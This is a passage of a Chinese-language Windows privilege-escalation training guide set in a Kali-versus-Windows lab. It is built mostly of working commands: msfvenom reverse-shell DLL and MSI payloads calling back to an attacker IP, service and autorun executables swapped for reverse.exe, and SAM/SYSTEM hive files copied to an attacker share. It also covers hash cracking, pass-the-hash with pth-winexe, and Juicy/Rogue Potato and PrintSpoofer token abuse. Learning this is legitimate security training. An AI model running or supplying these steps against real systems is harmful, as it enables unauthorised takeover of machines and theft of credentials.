权限提升步骤 运行 winPEAS 检测服务配置错误 cmd .\winPEASany.exe quiet servicesinfo 记录 “regsvc” 服务存在薄弱的注册表条目使用 PowerShell 确认 powershell PS Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List 也可使用 accesschk.exe 确认 cmd .\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc 覆盖 ImagePath 注册表项使其指向你的反向 shell 可执行文件 cmd reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f 在 Kali 上启动监听器然后启动服务触发漏洞利用 cmd net start regsvc
不安全的服务可执行文件Insecure Service Executables
若原始服务可执行文件可被你的用户修改只需将其替换为反向 shell 可执行文件即可。 注意若在真实系统中利用此漏洞需先备份原始可执行文件 权限提升步骤 运行 winPEAS 检测服务配置错误 cmd .\winPEASany.exe quiet servicesinfo 记录 “filepermsvc” 服务的可执行文件对所有人everyone可写使用 accesschk.exe 确认 cmd .\accesschk.exe /accepteula -quvw C:\Program Files\File Permissions Service\filepermservice.exe 备份原始服务可执行文件 cmd copy C:\Program Files\File Permissions Service\filepermservice.exe C:\Temp 复制反向 shell 可执行文件覆盖原始服务可执行文件 cmd copy /Y C:\PrivEsc\reverse.exe C:\Program Files\File Permissions Service\filepermservice.exe 在 Kali 上启动监听器然后启动服务触发漏洞利用 cmd net start filepermsvc
DLL 劫持DLL Hijacking
服务通常会尝试从动态链接库DLLDynamic-Link Library加载功能。DLL 提供的功能会以与加载它的服务相同的权限运行。 若 DLL 通过绝对路径加载且该 DLL 可被你的用户修改则可能实现权限提升 更常见的可利用配置错误系统中缺少某 DLL且你的用户对 Windows 搜索 DLL 的 PATH 路径中的某个目录有写入权限 缺点初步检测存在漏洞的服务难度较大整个过程通常需要手动操作。 使用 winPEAS 枚举非 Windows 服务 cmd .\winPEASany.exe quiet servicesinfo 记录 C:\Temp 目录可写且在 PATH 中先枚举你的用户可停止 / 启动的服务 cmd .\accesschk.exe /accepteula -uvqc user dllsvc “dllsvc” 服务存在 DLL 劫持漏洞根据 winPEAS 输出该服务运行 dllhijackservice.exe 可执行文件使用 sc 命令手动确认 cmd sc qc dllsvc 以管理员权限运行 Procmon64.exe按CtrlL打开 “Filter”筛选菜单 添加筛选条件“Process Name”进程名匹配dllhijackservice.exe 在主界面中取消选中 “Registry”注册表和 “Network”网络活动 启动服务 cmd net start dllsvc 返回 Procmon查看是否出现多个与hijackme.dll相关的 “NAME NOT FOUND”未找到文件错误 观察到 Windows 会尝试在C:\Temp目录中查找该 DLL此前已确认该目录对当前用户可写 在 Kali 上生成名为 hijackme.dll 的反向 shell DLL bash # msfvenom -p windows/x64/shell_reverse_tcp LHOST192.168.1.11 LPORT53 -f dll -o hijackme.dll 将该 DLL 复制到 Windows 虚拟机的 C:\Temp 目录在 Kali 上启动监听器然后停止 / 启动服务触发漏洞利用 cmd net stop dllsvcnet start dllsvc
Registry注册表相关权限提升
AutoRuns自动运行项
Windows 可配置为在启动时以高权限elevated privileges运行命令这些 “AutoRuns” 项在注册表中配置。 若你能修改某 AutoRun 可执行文件且能重启系统或等待系统重启则可实现权限提升。
权限提升步骤 使用 winPEAS 检测可写的 AutoRun 可执行文件 cmd .\winPEASany.exe quiet applicationsinfo 也可手动枚举 AutoRun 可执行文件 cmd reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 然后使用 accesschk.exe 验证每个可执行文件的权限 cmd .\accesschk.exe /accepteula -wvu C:\Program Files\Autorun Program\program.exe 记录 C:\Program Files\Autorun Program\program.exe 对所有人Everyone可写先备份原始文件 cmd copy C:\Program Files\Autorun Program\program.exe C:\Temp 复制反向 shell 可执行文件覆盖该 AutoRun 可执行文件 cmd copy /Y C:\PrivEsc\reverse.exe C:\Program Files\Autorun Program\program.exe 在 Kali 上启动监听器然后重启 Windows 虚拟机触发漏洞利用。 注在 Windows 10 中该漏洞利用会以最后登录用户的权限运行因此需先注销 “user” 账户再以 “admin” 账户登录。 AlwaysInstallElevated
MSI 文件是用于安装应用程序的包文件默认以尝试安装它的用户权限运行。 Windows 允许这些安装程序installers以高权限即 admin 权限运行。若启用此配置可生成包含反向 shell 的恶意 MSI 文件实现权限提升。 实现此漏洞利用的前提需同时启用两个注册表设置。 本地计算机local machine的AlwaysInstallElevated值需设为 1路径HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer 当前用户current user的AlwaysInstallElevated值需设为 1路径HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer 若任一设置缺失或禁用漏洞利用均无法成功。
权限提升步骤 使用 winPEAS 检测这两个注册表值是否已设置 cmd .\winPEASany.exe quiet windowscreds 也可手动验证 cmd reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 使用 msfvenom 生成 MSI 格式的反向 shell保存为 .msi 扩展名 bash # msfvenom -p windows/x64/shell_reverse_tcp LHOST192.168.1.11 LPORT53 -f msi -o reverse.msi 将 reverse.msi 复制到 Windows 虚拟机在 Kali 上启动监听器运行安装程序触发漏洞利用 cmd msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
密码Passwords相关权限提升
密码的作用
是的密码是权限提升的重要突破口。即使是管理员也可能重复使用密码或在系统中留下可读取的密码。 Windows 在这方面尤其脆弱因为其部分功能会以不安全的方式存储密码。
注册表中的密码
许多程序会在 Windows 注册表中存储配置选项Windows 系统本身有时也会在注册表中以明文plaintext形式存储密码。 因此搜索注册表中的密码至关重要。
搜索注册表中的密码
以下命令用于搜索注册表中包含 “password” 的键keys和值values cmd reg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /s 该命令通常会生成大量结果因此更高效的方式是直接查看已知的密码存储位置。
权限提升步骤 使用 winPEAS 检测常见的密码存储位置 cmd .\winPEASany.exe quiet filesinfo userinfo 注最后的检查项可能需要较长时间完成 从结果中提取 admin 用户的自动登录凭据AutoLogon credentials和 Putty 会话凭据Putty session credentials用户名 admin密码 password123 手动验证这些凭据 cmd reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogonreg query HKCU\Software\SimonTatham\PuTTY\Sessions /s 在 Kali 上使用 winexe 命令通过这些凭据生成 shell bash # winexe -U admin%password123 //192.168.1.22 cmd.exe
保存的凭据Saved Creds
Windows 的runas命令允许用户以其他用户的权限运行命令通常需要知道目标用户的密码。 但 Windows 也允许用户将凭据保存到系统中利用这些保存的凭据可绕过密码验证。
权限提升步骤 使用 winPEAS 检测保存的凭据 cmd .\winPEASany.exe quiet cmd windowscreds 确认存在 admin 用户的保存凭据 手动使用以下命令验证 cmd cmdkey /list 若未找到保存的凭据运行以下脚本刷新凭据 cmd C:\PrivEsc\savecred.bat 利用保存的凭据以 admin 用户权限运行任意命令在 Kali 上启动监听器运行反向 shell 可执行文件 cmd runas /savecred /user:admin C:\PrivEsc\reverse.exe
配置文件Configuration Files
部分管理员会在系统中留下包含密码的配置文件Unattend.xml就是典型例子 —— 该文件用于实现 Windows 系统的自动化安装。
搜索配置文件 在当前目录下递归搜索名称包含 “pass” 或扩展名为 “.config” 的文件 cmd dir /s *pass* *.config 在当前目录下递归搜索包含 “password” 且扩展名为 .xml 、 .ini 或 .txt 的文件 cmd findstr /si password *.xml *.ini *.txt
权限提升步骤 使用 winPEAS 搜索可能包含凭据的常见文件 cmd .\winPEASany.exe quiet cmd searchfast filesinfo 找到 Unattend.xml 文件查看其内容 cmd type C:\Windows\Panther\Unattend.xml 从文件中提取 admin 用户的密码Base64 编码cGFzc3dvcmQxMjM 在 Kali 上解码该密码 bash # echo cGFzc3dvcmQxMjM | base64 -d 再次使用winexe命令以 admin 用户身份生成 shell。
SAM 文件
Windows 将密码哈希password hashes存储在安全账户管理器SAMSecurity Account Manager中。 这些哈希使用一个密钥加密该密钥存储在名为SYSTEM的文件中。 若你能读取 SAM 和 SYSTEM 文件即可提取密码哈希。
SAM/SYSTEM 文件位置 SAM 和 SYSTEM 文件位于C:\Windows\System32\config目录 Windows 运行时这些文件处于锁定状态 文件备份可能存在于C:\Windows\Repair或C:\Windows\System32\config\RegBack目录
权限提升步骤 在C:\Windows\Repair目录中找到 SAM 和 SYSTEM 文件的备份确认当前用户可读取 将文件复制到 Kali cmd copy C:\Windows\Repair\SAM \\192.168.1.11\tools\copy C:\Windows\Repair\SYSTEM \\192.168.1.11\tools\ 下载最新版本的 creddump 工具集 bash # git clone https://github.com/Neohapsis/creddump7.git 运行 pwdump 工具从 SAM 和 SYSTEM 文件中提取哈希 bash # python2 creddump7/pwdump.py SYSTEM SAM 使用 hashcat 破解 admin 用户的哈希 bash # hashcat -m 1000 --force a9fdfa038c4b75ebc76dc855dd74f0da /usr/share/wordlists/rockyou.txt
哈希传递Passing the Hash
Windows 的多个服务支持使用哈希而非密码进行身份验证。 可使用修改版的winexe工具pth-winexe通过 admin 用户的哈希生成命令提示符。
权限提升步骤 从之前的步骤中提取 admin 用户的哈希 使用该哈希通过 pth-winexe 生成命令提示符 bash # pth-winexe -U admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da //192.168.1.22 cmd.exe 使用该哈希通过 pth-winexe 生成 SYSTEM 级别的命令提示符 bash # pth-winexe --system -U admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da //192.168.1.22 cmd.exe
计划任务Scheduled Tasks相关权限提升
计划任务Scheduled Tasks
Windows 可配置计划任务使其在特定时间、定期如每 5 分钟或由特定事件如用户登录触发时运行。 计划任务通常以创建者的权限运行但管理员可配置任务以其他用户包括 SYSTEM的权限运行。
计划任务相关命令
低权限用户账户无法轻松枚举其他用户的自定义计划任务。 列出当前用户可见的所有计划任务 cmd schtasks /query /fo LIST /v 在 PowerShell 中筛选非 Microsoft 默认任务 powershell PS Get-ScheduledTask | where {$_.TaskPath -notlike \Microsoft*} | ft TaskName,TaskPath,State 通常需依赖其他线索如找到指示计划任务运行的脚本或日志文件进行枚举。
权限提升步骤 在 C:\DevTools 目录中找到 PowerShell 脚本 CleanUp.ps1 查看其内容 cmd type C:\DevTools\CleanUp.ps1 确认该脚本每分钟以 SYSTEM 用户权限运行使用 accesschk.exe 检查当前用户对该脚本的权限 cmd C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1 确认当前用户有写入权限 备份该脚本 cmd copy C:\DevTools\CleanUp.ps1 C:\Temp\ 在 Kali 上启动监听器 使用 echo 命令将反向 shell 可执行文件的调用追加到脚本末尾 cmd echo C:\PrivEsc\reverse.exe C:\DevTools\CleanUp.ps1 等待计划任务运行每分钟运行一次完成漏洞利用。
不安全的 GUI 应用Insecure GUI AppsCitrix 方法
不安全的 GUI 应用
在部分较旧的Windows 版本中用户可能被授予以管理员权限运行特定 GUI 应用的权限。 通常有多种方法可从 GUI 应用中生成命令提示符包括使用 Windows 原生功能。 由于父进程GUI 应用以管理员权限运行生成的命令提示符也会拥有管理员权限。 我将此方法称为 “Citrix 方法”因为它使用了许多与突破 Citrix 环境相同的技术。
权限提升步骤 使用 “user” 账户通过 GUI 登录 Windows 虚拟机 双击桌面的 “AdminPaint” 快捷方式 打开命令提示符运行以下命令 cmd tasklist /V | findstr mspaint.exe 确认 mspaint.exe 以管理员权限运行 在 Paint 中点击 “File”文件→“Open”打开 在导航输入框中将内容替换为file://c:/windows/system32/cmd.exe 按 Enter 键会打开一个以管理员权限运行的命令提示符。
启动应用Startup Apps相关权限提升
启动应用
每个用户可通过将快捷方式放入特定目录定义登录时自动启动的应用。 Windows 还存在一个面向所有用户的启动目录 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 若你能在该目录中创建文件可放入反向 shell 可执行文件当管理员登录时实现权限提升。 需注意该目录需使用快捷方式文件.lnk。可使用以下 VBScript 创建快捷方式文件 vbscript Set oWS WScript.CreateObject(WScript.Shell)
sLinkFile C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk
Set oLink oWS.CreateShortcut(sLinkFile)
oLink.TargetPath C:\PrivEsc\reverse.exe
oLink.Save
权限提升步骤 使用 accesschk.exe 检查 StartUp 目录的权限 cmd .\accesschk.exe /accepteula -d C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 确认BUILTIN\Users组对该目录有写入权限 创建CreateShortcut.vbs文件写入上述 VBScript 代码根据实际路径调整 使用 cscript 运行该脚本 cmd cscript CreateShortcut.vbs 在 Kali 上启动监听器然后以 admin 用户身份登录触发漏洞利用。
已安装应用Installed Applications相关权限提升
已安装应用
大多数与已安装应用相关的权限提升都基于前文已涵盖的配置错误如不安全的可执行文件、服务配置错误等。 但部分权限提升源于缓冲区溢出buffer overflows等漏洞因此识别已安装应用及其版本、搜索相关漏洞仍很重要。
相关命令 手动枚举所有运行中的程序 cmd tasklist /v 使用 Seatbelt 搜索非标准进程 cmd .\seatbelt.exe NonstandardProcesses 使用 winPEAS 枚举进程注 procesinfo 存在拼写错误 cmd .\winPEASany.exe quiet procesinfo
利用 Exploit-DB 查找漏洞
找到目标进程后尝试识别其版本可运行可执行文件并添加/?或-h参数或查看Program Files目录中的配置文件 / 文本文件。 通过 Exploit-DB 搜索对应的漏洞部分漏洞会提供利用步骤部分则需要编译并运行漏洞利用代码。
Hot Potato 攻击
Hot Potato 简介
Hot Potato 是一种结合欺骗攻击spoofing attack和 NTLM 中继攻击NTLM relay attack的攻击方法用于获取 SYSTEM 权限。 该攻击欺骗 Windows使其以 SYSTEM 用户身份向伪造的 HTTP 服务器发送 NTLM 身份验证请求然后将 NTLM 凭据中继到 SMB 服务实现命令执行。 该攻击适用于 Windows 7、Windows 8、Windows 10 早期版本及其对应的服务器版本。
权限提升步骤注以下步骤适用于 Windows 7 将potato.exe漏洞利用程序复制到 Windows 系统 在 Kali 上启动监听器 运行漏洞利用程序 cmd .\potato.exe -ip 192.168.1.33 -cmd C:\PrivEsc\reverse.exe -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true 等待 Windows Defender 更新或手动触发更新。
Token Impersonation令牌伪造相关权限提升
服务账户Service Accounts
课程开头简要介绍过服务账户服务账户为运行服务而配置特定权限且无法直接登录。 但服务账户存在多个安全问题使其成为权限提升的突破口。
Rotten Potato
Rotten Potato 漏洞于 2016 年被发现服务账户可拦截 SYSTEM 令牌SYSTEM ticket并利用该令牌伪造 SYSTEM 用户身份。 该漏洞利用的前提是服务账户通常启用了SeImpersonatePrivilege权限。
SeImpersonatePrivilege 与 SeAssignPrimaryTokenPrivilege
服务账户通常配置有这两种权限 允许账户伪造其他用户的访问令牌access tokens包括 SYSTEM 用户的令牌 任何拥有这两种权限的用户均可运行本章节介绍的令牌伪造漏洞利用工具
Juicy Potato
Rotten Potato 的利用范围有限而 Juicy Potato 的工作原理与 Rotten Potato 相同但作者通过深入研究扩展了其利用场景。 下载链接GitHub - ohpe/juicy-potato: A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM.
权限提升步骤注以下步骤适用于 Windows 7 将PSExec64.exe和JuicyPotato.exe漏洞利用程序复制到 Windows 系统 在 Kali 上启动监听器 以管理员身份打开命令提示符使用 PSExec64.exe 生成以 Local Service 账户身份运行的反向 shell cmd C:\PrivEsc\PSExec64.exe -i -u nt authority\local service C:\PrivEsc\reverse.exe 在 Kali 上启动另一个监听器 运行 JuicyPotato 漏洞利用程序生成以 SYSTEM 权限运行的反向 shell cmd C:\PrivEsc\JuicyPotato.exe -l 1337 -p C:\PrivEsc\reverse.exe -t * -c {03ca98d6-ff5d49b8-abc6-03dd84127020} 若上述 CLSID{03ca…}无效可参考以下列表或运行GetCLSID.ps1 PowerShell 脚本 juicy-potato/CLSID/README.md at master · ohpe/juicy-potato · GitHub
Rogue Potato
Rogue Potato 是 “Potato” 系列漏洞利用工具的最新版本 GitHub 链接GitHub - antonioCoco/RoguePotato: Another Windows Local Privilege Escalation from Service Account to System 技术博客No more JuicyPotato? Old story, welcome RoguePotato! – Decoders Blog 预编译漏洞利用程序Releases · antonioCoco/RoguePotato · GitHub
权限提升步骤 将PSExec64.exe和RoguePotato.exe漏洞利用程序复制到 Windows 系统 在 Kali 上设置 socat 转发器将 Kali 的 135 端口转发到 WindowsIP192.168.1.22的 9999 端口 bash # sudo socat tcp-listen:135,reuseaddr,fork tcp:192.168.1.22:9999 在 Kali 上启动监听器 以管理员身份打开命令提示符使用 PSExec64.exe 生成以 Local Service 账户身份运行的反向 shell cmd C:\PrivEsc\PSExec64.exe -i -u nt authority\local service C:\PrivEsc\reverse.exe 在 Kali 上启动另一个监听器 运行 RoguePotato 漏洞利用程序生成以 SYSTEM 权限运行的反向 shell192.168.1.11 为 Kali 的 IP cmd C:\PrivEsc\RoguePotato.exe -r 192.168.1.11 –l 9999 -e C:\PrivEsc\reverse.exe
PrintSpoofer
PrintSpoofer 是一款针对 Print Spooler 服务的漏洞利用工具 GitHub 链接GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the Printer Bug 技术博客PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019 | itm4ns blog
权限提升步骤 将PSExec64.exe和PrintSpoofer.exe漏洞利用程序复制到 Windows 系统 在 Kali 上启动监听器 以管理员身份打开命令提示符使用 PSExec64.exe 生成以 Local Service 账户身份运行的反向 shell cmd C:\PrivEsc\PSExec64.exe -i -u nt authority\local service C:\PrivEsc\reverse.exe 在 Kali 上启动另一个监听器 运行 PrintSpoofer 漏洞利用程序生成以 SYSTEM 权限运行的反向 shell cmd C:\PrivEsc\PrintSpoofer.exe –i -c C:\PrivEsc\reverse.exe
端口转发Port Forwarding
端口转发的作用
有时在 Kali 上运行漏洞利用代码更便捷但目标漏洞程序可能仅监听 Windows 的内部端口。 这种情况下需将 Kali 的某个端口转发到 Windows 的内部端口可使用plink.exe工具来自 PuTTY 的开发团队实现。
plink.exe 的使用
使用plink.exe进行端口转发的通用命令格式 cmd plink.exe 用户名KaliIP -R Kali端口:目标IP:目标端口 注目标IP通常为本地 IP如 127.0.0.1。plink.exe需要通过 SSH 连接到 Kali然后利用 SSH 隧道实现端口转发。 权限提升步骤 首先验证能否通过 winexe 远程登录 bash # winexe -U admin%password123 //192.168.1.22 cmd.exe 以管理员身份打开命令提示符重新启用防火墙 cmd netsh advfirewall set allprofiles state on 确认此时winexe命令已无法成功登录 将plink.exe文件复制到 Windows 系统然后停止 Kali 上的 SMB 服务器若正在运行 确保 Kali 的 SSH 服务器已启动且允许 root 登录检查/etc/ssh/sshd_config文件中PermitRootLogin yes选项是否已取消注释必要时重启 SSH 服务 在 Windows 上运行 plink.exe 将 Kali 的 445 端口转发到 Windows 的 445 端口 cmd plink.exe root192.168.1.11 -R 445:127.0.0.1:445 在 Kali 上修改 winexe 命令将目标 IP 改为 localhost 或 127.0.0.1通过端口转发获取 shell bash # winexe -U admin%password123 //localhost cmd.exe
getsystem命名管道与令牌复制
访问令牌Access Tokens
访问令牌是 Windows 中的特殊对象用于存储用户的身份identity和权限privileges分为两种类型 主访问令牌Primary Access Token用户登录时创建与当前用户会话绑定用户启动新进程时主访问令牌会被复制并附加到新进程 模拟访问令牌Impersonation Access Token进程或线程需要临时以其他用户的安全上下文security context运行时创建
令牌复制Token Duplication
Windows 允许进程 / 线程复制其访问令牌模拟访问令牌可通过此功能复制为主访问令牌。 若能注入到某个进程中即可利用此功能复制该进程的访问令牌并生成拥有相同权限的独立进程。
命名管道Named Pipes
你可能已熟悉 Windows 和 Linux 中的 “管道”pipe概念如 systeminfo | findstr Windows。 命名管道是管道概念的扩展一个进程可创建命名管道其他进程可打开该管道进行读写操作。 创建命名管道的进程可模拟连接到该管道的进程的安全上下文。
getsystem 简介
Metasploit 的 Meterpreter shell 中的getsystem命令具有近乎 “神话” 的地位 —— 只需运行此简单命令权限通常就能提升到 SYSTEM user。 getsystem的实际工作原理是什么
getsystem 的实现原理
getsystem命令的源代码可在以下链接查看 metasploit-payloads/c/meterpreter/source/extensions/priv at d672097e9989e0b4caecfad08ca9debc8e50bb0c · rapid7/metasploit-payloads · GitHub 需重点查看三个文件elevate.c、namedpipe.c、tokendup.c。 getsystem通过三种技术实现 “获取 SYSTEM 权限”
技术 1命名管道模拟In Memory/Admin 创建由 Meterpreter 控制的命名管道 创建以 SYSTEM 权限运行的服务该服务运行的命令直接与命名管道交互 Meterpreter 模拟连接到管道的进程获取拥有 SYSTEM 安全上下文的模拟访问令牌 将该访问令牌分配给后续所有 Meterpreter 线程使线程以 SYSTEM 权限运行
技术 2命名管道模拟Dropper/Admin
与 “命名管道模拟In Memory/Admin” 非常相似唯一区别是会将一个 DLL 写入磁盘并创建以 SYSTEM 权限运行该 DLL 的服务由该 DLL 连接到命名管道。
技术 3令牌复制In Memory/Admin 该技术需要SeDebugPrivilege权限 查找以 SYSTEM 权限运行的服务向其注入 DLL 该 DLL 复制服务的访问令牌并将其分配给 Meterpreter 目前该技术仅支持 x86 架构 这是唯一无需创建服务、完全在内存中运行的技术
总结Summary getsystem是专为从本地管理员local admin提升到 SYSTEM 权限设计的工具 命名管道技术需要本地管理员权限 令牌复制技术仅需要SeDebugPrivilege权限但仅支持 x86 架构 在现代系统中不应将getsystem视为从普通用户user提升到管理员admin的方法
用户权限User Privileges
用户权限简介
在 Windows 中用户账户和组可被分配特定的 “权限”privileges这些权限授予用户执行特定操作的能力。 部分权限可用于将整体权限提升到 SYSTEM 级别。 相关详细文档GitHub - hatRiot/token-priv: Token Privilege Research
列出当前用户的权限
使用whoami命令的/priv选项可列出当前用户的权限 cmd whoami /priv 注“State”状态列中的 “disabled”已禁用无关紧要 —— 只要权限被列出当前用户就拥有该权限。 SeImpersonatePrivilege
SeImpersonatePrivilege权限允许用户伪造其可获取的任何访问令牌。 若能获取 SYSTEM 进程的访问令牌即可使用该令牌生成新进程。 前文介绍的 Juicy Potato 漏洞利用工具即利用此权限。
SeAssignPrimaryPrivilege
SeAssignPrimaryPrivilege权限与SeImpersonatePrivilege类似允许用户将访问令牌分配给新进程。 该权限同样可通过 Juicy Potato 漏洞利用工具滥用。
SeBackupPrivilege
SeBackupPrivilege权限授予用户读取系统中所有对象的权限无论这些对象的 ACL 如何配置。 利用此权限用户可访问敏感文件或从注册表中提取哈希进而破解哈希或用于哈希传递攻击。
SeRestorePrivilege
SeRestorePrivilege权限授予用户写入系统中所有对象的权限无论这些对象的 ACL 如何配置。 滥用此权限的方式有多种 修改服务二进制文件service binaries 覆盖 SYSTEM 进程使用的 DLL 修改注册表设置registry settings
SeTakeOwnershipPrivilege
SeTakeOwnershipPrivilege权限允许用户获取对象的所有权即WRITE_OWNER权限。 获取对象所有权后可修改该对象的 ACL为自己授予写入权限后续操作与滥用SeRestorePrivilege相同。
其他权限进阶 SeTcbPrivilege SeCreateTokenPrivilege SeLoadDriverPrivilege SeDebugPrivilegegetsystem命令使用此权限
权限提升策略Privilege Escalation Strategy
枚举Enumeration 检查当前用户使用whoami和所属组使用net user 用户名 运行 winPEAS使用fast、searchfast和cmd选项 同时运行 Seatbelt 及其他脚本 若脚本运行失败且原因不明可手动运行本课程中的命令或参考网上的 Windows 权限提升速查表如PayloadsAllTheThings/Methodology and Resources/Windows - Privilege Escalation.md at master · swisskyrepo/PayloadsAllTheThings · GitHub
策略建议 1
花时间阅读枚举结果若 winPEAS 或其他工具发现可疑内容做好记录。 通过创建 “权限提升所需条件清单”避免陷入无效尝试rabbit holes。
策略建议 2
浏览当前用户桌面及其他常见目录如C:\、C:\Program Files中的文件。 阅读发现的可疑文件 —— 其中可能包含有助于权限提升的有用信息。
策略建议 3
优先尝试步骤较少的方法如注册表漏洞利用、服务配置错误利用等。 仔细查看管理员进程admin processes枚举其版本并搜索相关漏洞。 检查是否存在可转发到攻击机attacking machine的内部端口。
策略建议 4
若仍未获取管理员 shell重新阅读完整的枚举结果高亮显示异常内容如不熟悉的进程名、文件名或用户名。 此时可开始考虑使用 Kernel 漏洞利用Kernel Exploits。 mysql的udf提权 参考文献
Mysql之UDF提权-CSDN博客